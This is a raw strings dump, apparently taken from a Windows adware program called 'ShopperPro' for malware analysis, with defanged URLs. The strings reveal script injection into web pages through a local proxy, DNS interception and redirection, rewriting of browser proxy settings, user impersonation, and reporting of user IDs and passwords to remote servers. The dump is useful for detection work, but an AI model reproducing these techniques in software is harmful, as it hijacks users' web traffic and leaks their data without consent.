[CLspController::CreateSharedMemory] ___Error CSharedMemory CreateCriticalSection: %s. LE: %d

[CLspController::CreateSharedMemory] ___Error CSharedMemory Create: %s. LE: %d

[CLspController::CreateSharedMemory] ___Error CSharedMemory Create() Local. LE: %d

[CLspController::IsDomainExistInRules] Found - Template: %s

[CLspController::IsDomainExistInRules] Domain: %s

[CLspController::AddDnsResponse] Adding IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u, Ports: %u - %u

[CLspController::UpdateRedirectionIps] Adding IP: %u.%u.%u.%u, Mask: %u.%u.%u.%u

[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d

[CImpersonate::Impersonate] Impersonated: %d

[CImpersonate::Revert] RevertToSelf - Error: %d

[CImpersonate::Revert] Impersonated: %d

[CImpersonate::Cleanup] Impersonated: %d

[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d

[CImpersonate::GetUserSID] The SID for %s is invalid.

[CImpersonate::GetUserSID] Not Enough Memory: %d

[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d

[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98

[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC

[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d

[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToWindowStation] CopySid - Error: %d

[CImpersonate::AddAceToWindowStation] AddAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d

[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d

[CImpersonate::AddAceToDesktop] AddAce - Error: %d

[CImpersonate::AddAceToDesktop] GetAce - Error: %d

[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d

[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS

[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d

[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS

[CImpersonate::OpenCurrentUserKey] Impersonated: %d

[CImpersonate::FindLoggedOnUser] Process32First - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d

[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

explorer.exe

[CImpersonate::FindLoggedOnUser] Impersonated: %d

[CImpersonate::GetLogonUserName] Name: %s

[CImpersonate::GetLogonUserName] GetUserName - Error: %d

[CVA_Alert::OnDeserialize] ___Error get m_LandingUrl

[CVA_Alert::OnDeserialize] ___Error get m_URL

user32.dll

WININET.DLL

kernel32.dll

d/d/%d d:d:d::d

[CFullController::IsProxySupported] ___Error Create Proxy Controller

[CFullController::IsProxySupported] Create Proxy Controller...

[CFullController::SetPassThrough]

[CFullController::Init] ___Error to Create IHttpEngineConfiguration

[CFullController::Start] ___Error ProxyRes = %d, LspRes = %d

[CFullController::Stop] ___Error ProxyRes = %d, LspRes = %d

[CProxyController::SetVersionStatus] Status: %d -> %d

[CProxyController::GetVersionStatus] Status: %d

[CProxyController::Init] ___Error to Create IHttpEngineConfiguration

[CProxyController::IsAloud] FALSE - There is a pac file: %s

[HttpProxyServer::CreatePacFile] ___Error: ConfigPath::GetPath. LE: %d

[HttpProxyServer::CreatePacFile] ___Error: WriteRedirectRulesToPacFile. LE: %d

[CDriverManager::IoControl] DeviceIoControl failed: %d

[CDriverController::GetRedirectedConnectionInfo] ___Error GET_CONN %d

[CDriverController::GetRedirectedConnectionInfo] Port %d

[CDriverController::SetRedirectInfo] to port %d

[CDriverController::SetRedirectInfo] ___Error REDIRECT_ALL device %d

[CDriverController::SetRedirectInfo] ___Error SET_PORT device %d

[CDriverController::SetRedirectInfo] ___Error INTERFACE_VERSION mismatch R0 %d R3 %d

[CDriverController::SetRedirectInfo] ___Error INTERFACE_VERSION device %d

[CDriverController::SetRedirectInfo] ___Error open device %d

\\.\svd

HttpHandleAll

HttpWorkerBufferLimit

HttpListenPort

HttpListenIP

RtmpListenPort

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - Wait: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - ProcessCommand: %d

SOFTWARE\ShopperPro\JsDriver\%s\Original

SOFTWARE\ShopperPro\JsDriver\%s\Current

[CDnsProxyServer::is_in_redirection_rules] Found redirection Rule: %s

[CDnsProxyServer::load_dns_clients] IP: %s

[CDnsProxyServer::get_dns_servers] Dns Servers count: %d

[CDnsProxyServer::get_dns_servers] Dns Server: %s

[CDnsProxyServer::get_dns_servers] ___Error RegEnumKeyEx. LE: %d, Name: %s

[CDnsProxyServer::get_dns_servers] DhcpNameServer: %s

[CDnsProxyServer::get_dns_servers] NameServer: %s

[CDnsProxyServer::get_dns_servers] ___Error RegOpenKeyEx. LE: %d, Name: %s

[CDnsProxyServer::get_dns_servers] ___Error RegQueryInfoKey. LE: %d

[CDnsProxyServer::get_dns_servers] ___Error key: %s

SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces

[CDnsProxyServer::Start] ___Error CAsyncUdpSocketServer<CDnsProxyServer>::Start. LE: %d

[CDnsProxyServer::Start] Local IP: %d.%d.%d.%d

[CDnsProxyServer::Start] ___Error SafeGetHostByName. LE: %d, Host: %s

[CDnsProxyServer::Start] Host name: %s

[CDnsProxyServer::Start] ___Error gethostname. LE: %d

[CDnsProxyServer::dns_reverse_lookup] Name: %s

[CDnsProxyServer::dns_reverse_lookup] IP: %s

[CDnsProxyServer::add_dns_client] IP: %s

%u.%u.%u.%u

[CDnsProxyServer::is_dns_client] IP: %s

[CDnsProxyServer::save_dns_clients] IP: %s

[CDnsProxyServer::dns_send_reply] @@@ Found IP: %s @@@

[CDnsProxyServer::dns_send_reply] Domain: %s

[CDnsProxyServer::OnRecv] ___Error %x - SendTo timeout to the original dns server

[CDnsProxyServer::OnRecv] ___Error %x - Select timeout from the original dns server

[CDnsProxyServer::OnRecv] ___Error %x - RecvFrom timeout from the original dns server

[CDnsProxyServer::OnRecv] ___Error %x - SendTo the client the response from the original server

[CDnsProxyServer::OnRecv] ___Error Got from the original dns server a packet with invalid size of %d

[CDnsProxyServer::OnRecv] ___Error %x - Open new socket to forward dns query

[CDnsProxyServer::OnRecv] unsupported opcode: %d

[CDnsProxyServer::OnRecv] DNS query: %s

[CDnsProxyServer::OnRecv] DNS query from client Host: %s, Port: %d

[CDnsProxyServer::OnRecv] Got packet with invalid size of %d

StartPortRange

EndPortRange

</URL>

<URL>

CAcceleratedEventsThread::OnReportNoAccelerationReason

0.0.0.0

%s%lld%s

%s%d%s

<EMBED><URL>

[CAcceleratedEventsThread::ReportEmbedStreaming]

[CAcceleratedEventsThread::ReportStatistics]___Error empty param : URL Acc Url = %s, Normal URL = %s

[CAcceleratedEventsThread::ReportStatistics] %s

[CAcceleratedEventsThread::ReportStatistics]___Error encode Acc URL = %s

%s%s%s

[CAcceleratedEventsThread::ReportStatistics]___Error encode Normal URL = %s

[CAcceleratedEventsThread::ReportVideoID] XML = %s

<WATCH><URL>%s</URL></WATCH>

[CAcceleratedEventsThread::ReportVideoID] URL = %s

YOUTUBE.COM/GET_VIDEO?VIDEO_ID=

[CAcceleratedEventsThread::ReportFailureReason] %s

[CAcceleratedEventsThread::ReportStatistics]___Error encode URL = %s

[CAcceleratedEventsThread::ReportFailureReason]___Error empty param : URL Acc Url = %s, AccFailureReason = %s

[CAcceleratedEventsThread::OnReportStatistics]

[CAcceleratedEventsThread::ReportAccelerations]

[CAcceleratedEventsThread] - Start the Pipe Clients to the Engine & UI

[CAcceleratedEventsThread::ProcessEvent] ___Warning: Unsupported event (%d)

DestroyPipeEventThreadManager

CreatePipeEventThreadManager

[CDNSResponse::AnalyzeResponse] Found IP: %u.%u.%u.%u

[Mine_GetAddrInfoW] nodename: %S

[Mine_GetAddrInfoExA] pName: %s

[Mine_GetAddrInfoExW] pName: %S

[Mine_getaddrinfo] nodename: %s

[CDNSInterceptor::Detour] GetAddrInfoExW - %d

[CDNSInterceptor::Detour] GetAddrInfoExA - %d

[CDNSInterceptor::Detour] GetAddrInfoW - %d

[CDNSInterceptor::Detour] getaddrinfo - %d

[CDNSInterceptor::Detour] gethostbyname - %d

[CDNSInterceptor::Detour] ___Error LoadLibrary ws2_32.dll

ws2_32.dll

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d

[CSerializable::GetField] ___Error - Vector size missmatch. Code: %d

[CIEInternetProxySettings::RetriveProxyConfiguration - Exit] list.pOptions == NULL

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::Refresh] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] list.pOptions == NULL

[CIEInternetProxySettings::GetCurrentUserKey] User Key: %p

[CIEInternetProxySettings::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

http=

[CIEInternetProxySettings::Save] %s - %s = %s

ListenPort

[EngineConfiguration::GetCurrentUserKey] User Key: %X

[EngineConfiguration::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

HttpRedirectProxyPort

HttpRedirectProxyDomain

[CAcceleratorEventsData::OnDeserialize] ___Error get URL

[GZipWrapper::InflateGzipData] ___Error ReadString : %s

[GZipWrapper::InflateGzipData] ___Error Open file : %s

[GZipWrapper::InflateGzipData] ___Error WriteDataToFile : %s

GZipWrapper_%d.tmp

C:\ProgramData\tmp\

http_port

prefs.js

user.js

user_pref("network.proxy.

autoconfig_url

[CAsyncUpdate::DownloadProgress] Downloaded: %d, Total: %d

[CAsyncUpdate::StartUpdate] Download URL: %s

[CAsyncUpdate::StartUpdate] ___Error Sennd Update Command: %s

[CAsyncUpdate::StartUpdate] Update Page: %s

va_conf.dat

[CAsyncUpdate::DownloadComplete] ___Error Send Update Command: %s

[CAsyncUpdate::DownloadComplete] Result: %d, File: %s

1.0.0.0

Temp.dll

[CAsyncUpdate::AnalizeXMLResults] ___Error Trial DAT file: %s

[CAsyncUpdate::AnalizeXMLResults] Trial.dat saved to: %s

Trial.dat

RESULT.VA_TRIAL.CONFIG.DATA

Temp.zip

RESULT.VA_RES.RESOURCES.DOWNLOAD_URL

RESULT.VA_RES.RESOURCES.VERSION

RESULT.BLACKLIST.DATA

RESULT.SENDLOGRULE

RESULT.VA.CONFIG.SOCIAL_NETWORKS.TWITTER_VIDEO_STRING

RESULT.VA.CONFIG.SOCIAL_NETWORKS.TWITTER_FRAME_STRING

RESULT.ADS.SHOW

[CAsyncUpdate::AnalizeXMLResults] ___Error updating Rules DAT file: %s

[CAsyncUpdate::AnalizeXMLResults] Rules saved to: %s

RESULT.VA.CONFIG.SITES.ZIP

RESULT.VA.CONFIG.SITES.XMLVERSION

RESULT.VA.CONFIG.SITES.DATA

[CAsyncUpdate::UpdateSearchComplete] version status = %d

[CAsyncUpdate::UpdateSearchComplete] Result: %d, UpdateExist: %d

[CSANotifierMgr::UpdateResourceDll] ___Error: Removing %s. Err = %d

[CSANotifierMgr::UpdateResourceDll] ___Error: Renaming %s to %s. Err = %d

Old.dll

[DownloadMHTsStatus::DownloadComplete] ___Error: Renaming %s to %s. Err = %d

[CExecuteUpdate::OnDeserialize] ___Error get m_ShowCmd

[CExecuteUpdate::OnDeserialize] ___Error get m_Directory

[CExecuteUpdate::OnDeserialize] ___Error get m_Parameters

[CExecuteUpdate::OnDeserialize] ___Error get m_Operation

[CExecuteUpdate::OnDeserialize] ___Error get m_File

[CCoreConfig::InitConfig] Product Name %s UseRegistry %d

LastNum%d

LastID%d

1.1.4

%d/%d/%d %d:%d:%d

%s.PARAM

%s.ID

.CONDITIONS.CONDITION[%d]

.LANDING_URL

.ICON

.TOOLTIP

.NOTIFICATION_TYPE

.VALIDATE

.EXPIRATION_HOURS

.EXPIRATION_TIME

.NUM_OF_ICONS

.ANIMATION_TIME

.DISPLAY_TIME

.TYPE

.NUMBER

RESULT.LAMP

RESULT.ALERT

[Core::ShouldUpdate] %s

RESULT.LICENSE.EXPIRATION

RESULT.LICENSE.STATUS

RESULT.LASTERROR

[Core::RequestURL] Filename = %s, URL = %s

RESULT.USER.DAUI

RESULT.ANON.PW

RESULT.ANON.ID

RESULT.USER.PW

RESULT.USER.ID

[Core::AnalyzeXMLResult] Filename = %s

RESULT.STATS.COLLECT

RESULT.DISABLED_PARTNERS

RESULT.UPDATE.PAGE_URL

RESULT.UPDATE.DOWNLOAD_FILENAME

RESULT.UPDATE.DOWNLOAD_URL

RESULT.UPDATE.VERSION

RESULT.UPDATE.EXIST

Core.log

ddd

ddd

2.0.0.0

%DOMAIN%

%s=%s

&OldUserID=%s&OldPassword=%s

%s?%s

hXXp://online.%DOMAIN%.com/online/updateSBPID.aspx

CV=[core-version]&ProductID=[sb-pid]&UserID=[sb-uid]&Password=[sb-upw]&OS=[sb-os]

Password

[Core::SendInfo] Filename = %s, URL = %s

hXXp://online.%DOMAIN%.com/online/Report.aspx

[Core::HitStats] URL = %s

hXXp://pix.%DOMAIN%.com

[Core::BuildUpdateURL] URL = %s

&ElapsedTime=%d

[Core::BuildUpdateURL] ___ALERT___ Alert Info = %s

&DAUI=%s

&ActivationCode=%s&ActivationEmail=%s

%s?%s&V=[sb-ve]&VS=[sb-vs]&Beta=[sb-beta]&Aff=[sb-aff]&BundleID=[sb-bundle]&BrandID=[sb-brand]&PartnerList=[sb-partners]

[Core::CheckForUpdates] RequestURL FAILED

[Core::CheckForUpdates] RequestURL SUCCEEDED

[Core::CheckForUpdates] URL = %s

hXXp://online.%DOMAIN%.com/online/update.aspx

[Core::PerformAsyncUpdateCheck] URL = %s

&SBPIDS=%d

[Core::FindRegistrationInfoByKey] VA Product Found

[Core::FindRegistrationInfoByKey] DAP Product Found

[Core::FindRegistrationInfoByKey] Password is %s

[Core::FindRegistrationInfoByKey] SBPID is %s

[Core::FindRegistrationInfoByKey] Product is %s

[Core::FindRegistrationInfoByKey]

[Core::FindRegistrationInfo] ___Error open key %s

[Core::FindRegistrationInfo] - FindRegistrationInfoByKey from %s

[Core::FindRegistrationInfo] - CurrentUSDKey is %s

[Core::FindRegistrationInfo] - Enum HKEY_CURRENT_USER\%s

[Core::FindRegistrationInfo] - FindRegistrationInfoByKey from product key

[Core::RegisterProduct] RequestURL Fauled err = %d

[Core::RegisterProduct] RequestURL Succeeded

[Core::RegisterProduct] URL = %s

&LastResponse=%s

&TF=%s

&Retry=%d&LE=%d

hXXp://online.%DOMAIN%.com/online/Register.aspx

[Core::GenerateAnonymousID] URL = %s

hXXp://online.%DOMAIN%.com/online/RegisterAnon.aspx

[Core::PingServer] URL = %s

hXXp://online.%DOMAIN%.com/online/ka.aspx

InternetReadFile failed: %d

WriteFile failed: %d

Create output file failed: %d

QueryStatus not OK: %d

HttpQueryInfo failed: %d

InternetOpenUrl failed: %d

InternetOpen failed: %d

Content-Disposition: form-data; name="%s"

XXX

--%s--

Content-Type:multipart/form-data;boundary=%s

WaitingPost.xml

%%X

<?xml version="1.0" encoding="%s"?>

-%c%c%c%c%c%c%c%c%c%c

deflate 1.1.4 Copyright 1995-2002 Jean-loup Gailly

inflate 1.1.4 Copyright 1995-2002 Mark Adler

()$^.* ?[]|\-{},:=!

safari.exe

opera.exe

itunes.exe

iexplore.exe

chrome.exe

(build %d)

Windows 2000

Windows XP

Web Edition

Windows Server 2003,

Windows XP Professional x64 Edition

Windows Home Server

Windows Storage Server 2003

Windows Server 2003 R2,

Web Server Edition

Windows Server 2008 R2

Windows 8

Windows 7

Windows Server 2008

Windows Vista

[ProxyExtensionInj::WriteToLocalCacheWriter] FDM=%d (%d),Req:%d - Written %d/%d bytes

[ProxyExtensionInj::WriteToLocalCacheWriter] FDM=%d (%d),Req:%d ___Error invalid JobInfo

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\locale

[ProxyExtensionInj::OnHeader] FDM=%d (%d),Req:%d - html file size unknown - ignore this request (Response)

[ProxyExtensionInj::OnHeader] FDM=%d (%d),Req:%d - Try to Inject script... (Response)

[Inject OnHeader] URL %s, type %s, length %s, trans.encoding %s, cont.encoding %s

hXXp://repjs.shopper-pro.com/app/ping.ashx?product=ShopperProJs&action=%s&it=%d&os=%s&Rnd=%d&v=%s&usid=%s&aff=JS%s&pixguid=%s&text=%s

ProxyExtensionInj: can't open database1_0_0.json

database1_0_0.json

ProxyExtensionInj: can't open Config.json

Config.json

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - Total written %d bytes

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - injected %d bytes

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error writing new header

[ProxyExtensionInj::OnHeader] FDM=%d -

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error NewHttpParser ParseHeader

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error NewHttpParser Initialize

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error BuildHeader

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid IHttpFileDownloadMgr

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid IHttpProxyServer

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid JobInfo

%%SID%%

%%USERID%%

%%SPARAM%%

%%SPARAMDATE%%

%%SPARAMPROD%%

%%SPARAMSUB%%

%%COUNTRY%%

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - /HEAD position was found: %d

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error /HEAD position was not found

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error uncompress: %d

[ProxyExtensionInj::InjectScriptToWatchPage] Crash fix FDM=%d (%d),Req:%d

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - Parsing Watch page file for Script injection

[InjHttpProxyServer]

[InjHttpProxyLocal::InjHttpProxyLocal] FDM=%d (%d)

[InjHttpProxyLocal::~InjHttpProxyLocal] FDM=%d (%d)

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): After writing %d bytes into upper level

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Going to write the %d bytes into the upper level

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Read %d bytes from socket %d

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Reading from socket %d

[InjHttpProxyLocal::PutChunk] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[InjHttpProxyServer::AcceptConnection] ___Error to initialize Worker: %d.

[InjHttpProxyServer::AcceptConnection] Going to initialize Worker: %d.

[InjHttpProxyServer::AcceptConnection] ___Error: There is not enough memory to allocate HttpProxyLocal.

[InjFileDownloadMgr] FDM=%d

[InjHttpProxyRemote::InjHttpProxyRemote] FDM=%d (%d),Req:%d

[InjHttpProxyRemote::ConnectToDomain] FAILED FDM=%d (%d),Req:%d

[InjHttpProxyRemote::~InjHttpProxyRemote] FDM=%d (%d),Req:%d

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Request was written to Local

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Going to write request to Local

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Read %d bytes from socket %d

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Reading from socket %d

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the Job object is null.

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the current download state is %s.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Wrote %d/%d bytes to Socket %d.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Going to write %d bytes to socket %d.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is null.

InjHttpProxyRemote::WriteCachedBufferToSocket

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[InjFileDownloadMgr::CreateWorker] FDM=%d (%d) was created.

[InjFileDownloadMgr::CreateWorker] FDM=%d (%d) ___Error Initializing the worker.

pHttpProxyWorker

[InjHttpProxyServer::GetFileDownloadManager] FDM=%d for Worker: %d, IP: %s, Port: %d, was found.

[InjHttpProxyServer::GetFileDownloadManager] ___Error inserting FDM=%d to the map.

[InjHttpProxyServer::GetFileDownloadManager] ___Error initializing FDM=%d.

[InjHttpProxyServer::GetFileDownloadManager] The FDM=%d for Worker:%d, IP: %s, Port: %d, was created.

HttpProxyServer::GetDownloader

[InjHttpProxyServer::GetFileDownloadManager] FDM not found - Creating a new one. (Worker: %d, IP: %s, Port: %d)

[InjHttpProxyServer::GetFileDownloadManager] Getting the FDM for Worker: %d, IP: %s, Port: %d.

[InjHttpProxyServer::OnHeader] FDM=%d,Req:%d ___Error: The request was not added. (IP:%s, port:%d).

[InjHttpProxyServer::OnHeader] FDM=%d - Adding Req:%d (IP:%s, port:%d).

HttpProxyServer::OnHeader

[ProxyServer::StopAcceleration] Proxy type: %d

[ProxyServer::Stop] Proxy type: %d - Done

[ProxyServer::Stop] - delete HttpCookieJar

[ProxyServer::Stop] - GENERAL HTTP proxy - Stopped !

[ProxyServer::Stop] - GENERAL HTTP proxy - Stopping...

[ProxyServer::Stop] - HTTP proxy - Stopped !

[ProxyServer::Stop] - HTTP proxy - Stopping...

[ProxyServer::Stop] Proxy type: %d

[ProxyServer::CreateHttpProxyServer] *** HTTP Proxy Server - Created and Started ***

[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::Start.

[ProxyServer::CreateHttpProxyServer] HTTP Proxy Server - already started

[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::Initialize.

m_pIHttpProxyServer

[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::CreateInstance.

[ProxyServer::CreateHttpProxyServer] ___Error allocate HttpCookieJar.

[ProxyServer::CreateHttpProxyServer] HTTP Proxy Server - already created

ProxyServer::CreateHttpProxyServer

[ProxyServer::Start] Proxy type: %d - Done.

[ProxyServer::Start] *** HTTP proxy was started ***

[ProxyServer::Start] ___Error stating the HTTP proxy.

[ProxyServer::Start] ___Error Proxy type not supported. (Requested: %d).

[ProxyServer::Start] Proxy type: %d

[ProxyServer::AcceptConnection] *** Handover to HTTP ***

[AccelerationConfiguration::OnError] XML parse failed: %s

[CAccelerationStats::Write] Written: %d, Total: %lld, Bps: %d

[CAccelerationStats::Write] Written: %d

[CAccelerationStats::AddRequest] Req:%d - Request was added

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: SetBuffer

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: BuildHeader

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: SetRanges

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: ParseHeader

[CAccelerationStats::HandleNewRequest] FDM=%d, Req:%d (IP: %s, Port: %d) - Request was added.

[CAccelerationStats::HandleNewRequest] ___Error: The request was not added. FDM=%d, Req:%d (IP:%s, port:%d).

[CAccelerationStats::HandleNewRequest] ___Error initializing FDM=%d.

[HttpProxyServer::Init] ___Error creating listen AsyncSocket

[HttpProxyServer::Init]

[HttpProxyServer::OnData] Writing to FDM %d data bytes from Local Worker:%d.

HttpProxyServer::OnData

pIHttpProxyWorker

m_pIHttpEngineConfiguration

[HttpProxyServer::WriteDataToFile] ___Error: Not a reasnable data to write: %d

[HttpProxyServer::WriteDataToFile] ___Error: GetFileAttributes: %s, failed: %d

[HttpProxyServer::WriteDataToFile] ___Error: fwrite: %s, failed: %d

[HttpProxyServer::WriteDataToFile] ___Error: fopen: %s, failed: %d

[HttpProxyServer::WriteDataToFile] Filename: %s

[HttpProxyServer::Start] ___Error - HTTP Configuration not valid

HttpProxyServer::Initialize

[HttpProxyServer::Initialize]

[HttpProxyServer::OnAcceptEvent] *** Pass Through ***

[HttpProxyServer::OnAcceptEvent] ___Error accepting a new socket

[HttpProxyServer::OnAcceptEvent] ___Error accepting a new connection.

[HttpProxyServer::OnAcceptEvent] ___Error %s(%d) occured on the listen socket

[HttpProxyServer::IsRedirectedByDnsController] Client was Redirected by Dns Controller!

[HttpProxyServer::IsRedirectedByDnsController] NOT redirected by Dns Controller!

[HttpProxyServer::IsRedirectedByDnsController] ___Error IDnsController == NULL

[IHttpProxyServer::DestroyInstance] Destroy - HttpProxyServer - Regular MODE

[IHttpProxyServer::DestroyInstance] Destroy - TransparentProxyServer (PassThrough) - LSP MODE

[IHttpProxyServer::DestroyInstance] ___Error Redirect was not created - Type = IdleMode

